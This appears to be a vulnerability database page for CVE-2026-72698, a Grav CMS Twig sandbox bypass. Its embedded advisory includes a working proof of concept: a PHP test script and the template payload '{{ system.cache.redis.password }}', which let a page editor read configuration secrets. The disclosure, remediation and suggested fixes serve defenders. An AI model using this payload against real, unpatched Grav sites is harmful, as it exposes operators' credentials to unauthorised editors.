CVE-2026-72698: Grav The System, Site, And Theme Vulnerability
HIGHCVE-2026-72698 is a HIGH (CVSS 6.5) the system, site, and theme vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Grav libraries in the Packagist ecosystem. The issue involves the system, site, and theme twig variables bypass the content sandbox entirely and are never covered by config_denied_paths. Remediation is available by upgrading affected packages to version 2.0.16.
CVE-2026-72698 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-72698
To remediate this vulnerability, upgrade all affected Grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav to 2.0.16
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-72698, inspect your project dependencies for Grav:
inspect dependencies for getgrav/grav
Analyze the terminal output to locate any version of Grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.16), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-72698 Affected Grav Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 2.0.16
|
2.0.16
|
References
Frequently Asked Questions
What is CVE-2026-72698?
Which Grav versions are affected?
What version fixes CVE-2026-72698?
Is getgrav/grav affected?
What is the CVSS score of CVE-2026-72698?
What CWE is associated with CVE-2026-72698?
How can I check Packagist dependencies for CVE-2026-72698?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p597-crqc-m349",
"modified" : "2026-09-17T20:25:42Z",
"published" : "2026-09-17T20:25:42Z",
"aliases" : [ "CVE-2026-72698" ],
"summary" : "Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths",
"details" : "## Summary\n\n`Grav\\Common\\Twig\\Twig::init()` unconditionally puts the raw `system`, `site`, and `theme` config arrays into `$this->twig_vars`. `Twig::processPage()` builds the variables for the sandboxed, editor-authored page-content render by copying that same base array (`$sandbox_vars = $twig_vars;`) and replacing only the `config` key with a filtered `SandboxConfig` facade. The `system`, `site`, and `theme` keys are carried into the sandboxed render completely untouched.\n\nBecause these are plain PHP arrays, not objects, Twig's sandbox `SecurityPolicy` (the `allowed_classes`/`allowed_methods`/`allowed_properties` lists in `system/config/security.yaml`) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So `{{ system.cache.redis.password }}` in page content renders the value directly, with the sandbox doing nothing to stop it, and with `security.twig_sandbox.config_denied_paths` never even being consulted, since that list only filters the separate `config` facade object, not the `system` array.\n\nThis means: even on a default install where `twig_content.config_access` is `false` (its documented default) so the `config` Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if `twig_content.process_enabled` is on) can still read `system.*`, `site.*`, and `theme.*` in full, including any admin-configured secret nested under those trees.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Twig/Twig.php`, in `init()`, the base variable set (around line 300):\n```php\n$this->twig_vars += [\n 'config' => $config,\n 'system' => $config->get('system'),\n 'theme' => $config->get('theme'),\n 'site' => $config->get('site'),\n 'uri' => $this->grav['uri'],\n ...\n ];\n```\n\n`system/src/Grav/Common/Twig/Twig.php`, in `processPage()`, where the sandboxed render variables are built (around line 419-429):\n```php\nif ($item->shouldProcess('twig') || $item->isModule()) {\n $name = '@Page:' . $item->path();\n $this->setTemplate($name, $content);\n // Replace `config` with a denied-path-filtered facade for the\n // sandboxed render so editors can't exfiltrate plugin secrets\n // via `config.toArray()` (GHSA-j274-39qw-32c9). The modular\n // theme render below is unsandboxed and keeps the raw Config.\n $sandbox_vars = $twig_vars;\n $sandbox_vars['config'] = $this->buildSandboxConfig();\n try {\n $output = $content = $local_twig->render($name, $sandbox_vars);\n ...\n```\n\nOnly `$sandbox_vars['config']` is replaced. `$sandbox_vars['system']`, `$sandbox_vars['site']`, and `$sandbox_vars['theme']` still point at the exact same raw arrays that were assigned in `init()`.\n\n`system/config/system.yaml` shows a concrete real secret field that lives under `system`:\n```yaml\ncache:\n redis:\n socket: false\n password: # Optional password\n database:\n```\n\n## Root cause\n\nTwo separate things have to both be true for this to be reachable, and they both are:\n\n1. The sandbox's `SecurityPolicy` only checks object method calls and object property access (`checkMethodAllowed`, `checkPropertyAllowed` in Twig's `Sandbox\\SecurityPolicy`). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate. `config_denied_paths` is implemented entirely inside `SandboxConfig`, a wrapper object with its own `get()`/`offsetGet()` that consults the denied list, that facade is what makes `config` safe. `system`/`site`/`theme` never get wrapped in anything like it, they are passed straight through as arrays.\n\n2. `processPage()`'s sandboxed variable set is built by copying the entire pre-existing `$twig_vars` array and only patching the one key (`config`) that the GHSA-j274-39qw-32c9 fix was scoped to. `system`, `site`, and `theme` were already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.\n\n## Proof of concept, verified, real output\n\nI verified this at two levels: first that the raw Grav source really does copy `system` into the sandboxed variables unfiltered (shown above via direct file reading of `system/src/Grav/Common/Twig/Twig.php`, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.\n\nStep 1, get the exact Twig commit Grav's composer.lock points at:\n```\n$ python3 -c \"\nimport json\nd = json.load(open('composer.lock'))\nfor pkg in d['packages']:\n if pkg['name'] == 'twig/twig':\n print(pkg['source'])\n\"\n{'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}\n```\n\nStep 2, clone that exact commit:\n```\n$ git clone https://github.com/getgrav/Twig.git twig-src\n$ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7\nHEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.x\n```\n\nStep 3, PoC script. This builds a `SecurityPolicy` with an empty `allowed_classes`, `allowed_methods`, and `allowed_properties` list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders `{{ system.cache.redis.password }}` against a `system` variable shaped exactly like what `$config->get('system')` returns in real Grav:\n```php\n<?php\n// twig_sandbox_poc.php\nspl_autoload_register(function ($class) {\n if (strpos($class, 'Twig\\\\') === 0) {\n $rel = str_replace('Twig\\\\', '', $class);\n $path = '/home/claude/twig-src/src/' . str_replace('\\\\', '/', $rel) . '.php';\n if (file_exists($path)) {\n require_once $path;\n }\n }\n});\nrequire '/home/claude/twig-src/src/Resources/core.php';\nrequire '/home/claude/twig-src/src/Resources/escaper.php';\n\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Twig\\Sandbox\\SecurityPolicy;\n\n// Modeled on Grav's real system/config/security.yaml twig_sandbox block:\n// a couple of harmless tags/filters allowed (escape is allow-listed in the\n// real config since autoescape is forced on), and zero allowed classes,\n// methods, or properties, stricter than Grav's real policy even is.\n$policy = new SecurityPolicy(\n ['if', 'for'],\n ['upper', 'lower', 'escape'],\n [],\n [],\n []\n);\n\n$twig = new Environment(new ArrayLoader([\n 'page_content' => '{{ system.cache.redis.password }}',\n]));\n$twig->addExtension(new SandboxExtension($policy, true));\n\n// Exactly what $config->get('system') returns as a plain PHP array in real\n// Grav, and exactly what Twig::init() assigns to $twig_vars['system'].\n$system_config_array = [\n 'cache' => [\n 'driver' => 'redis',\n 'redis' => [\n 'socket' => false,\n 'password' => 'REDACTED-REAL-SECRET-VALUE-abc123',\n 'database' => 2,\n ],\n ],\n];\n\ntry {\n $output = $twig->render('page_content', ['system' => $system_config_array]);\n echo \"Template : {{ system.cache.redis.password }}\\n\";\n echo \"Rendered output : \" . $output . \"\\n\";\n echo \"Sandbox blocked it : \" . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . \"\\n\";\n} catch (\\Twig\\Sandbox\\SecurityError $e) {\n echo \"Sandbox threw a SecurityError (blocked): \" . $e->getMessage() . \"\\n\";\n}\n```\n\nStep 4, run it:\n```\n$ php twig_sandbox_poc.php\n```\n\nActual output:\n```\nTemplate : {{ system.cache.redis.password }}\nRendered output : REDACTED-REAL-SECRET-VALUE-abc123\nSandbox blocked it : NO, the secret was rendered in plain text\n```\n\nFor reference, running the same script before I added `escape` to the allowed filters (autoescape is forced on, so every `{{ }}` in real Grav goes through the `escape` filter first) correctly failed closed:\n```\nSandbox threw a SecurityError (blocked): Filter \"escape\" is not allowed in \"page_content\" at line 1.\n```\nwhich confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason `system.cache.redis.password` got through is the array access itself, not a policy misconfiguration in my test.\n\nThis demonstrates the mechanism precisely: no matter how the `allowed_classes`/`allowed_methods`/`allowed_properties` lists in `system/config/security.yaml` are configured, and independent of `config_denied_paths` entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the \"Affected code\" section above, showing that `system`, `site`, and `theme` are exactly such raw arrays and are carried unfiltered into `processPage()`'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.\n\n## Impact\n\nAny content author who can enable Twig processing on a page (`process.twig: true` in page frontmatter, gated by `security.twig_content.process_enabled`, or unconditionally for modular page content per the comment in `processPage()`) can read the entire `system`, `site`, and `theme` configuration trees, including any secret that happens to live there, such as `system.cache.redis.password` in core, and whatever plugins may nest under `site.*` for their own settings, since plugin config lives elsewhere (`plugins.*`) but site owners commonly stash site-specific integration keys under `site.*` custom fields. This works regardless of `twig_content.config_access`, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, `system`/`site`/`theme` were never part of that gate.\n\n## Suggested fix\n\nThe `config_denied_paths` fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own `get()`. The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:\n\n1. In `processPage()`, after copying `$sandbox_vars = $twig_vars;`, also strip or replace `system`, `site`, and `theme` for that specific sandboxed call, the same way `config` already gets replaced. A `SandboxConfig`-style facade wrapping `$config->get('system')` with its own denied-path list would let you keep the currently-useful subset (e.g. `system.pages.*` for things page authors are expected to read) while still hiding secrets.\n2. Alternatively, since `config` already gives filtered access to the same data (`config.get('system.cache.driver')` etc. through `SandboxConfig`), consider whether `system`/`site`/`theme` need to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filtered `config` facade.\n\n===========================================================\nCWE FIELD\n===========================================================\nCWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)\n\n===========================================================\nCVSS CALCULATOR SELECTIONS (v3.1)\n===========================================================\nAttack Vector: Network\nAttack Complexity: Low\nPrivileges Required: Low\nUser Interaction: None\nScope: Unchanged\nConfidentiality: High\nIntegrity: None\nAvailability: None\n\nResulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\nResulting score: 6.5, severity Medium\n\nNote for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under `system`/`site`), not just configuration shape.\n\n===========================================================\nSEVERITY FIELD\n===========================================================\nModerate",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.16"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-p597-crqc-m349"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-72698"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/grav-cms-before-information-disclosure-via-twig-sandbox-bypass"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-17T20:25:42Z",
"nvd_published_at" : null
}
}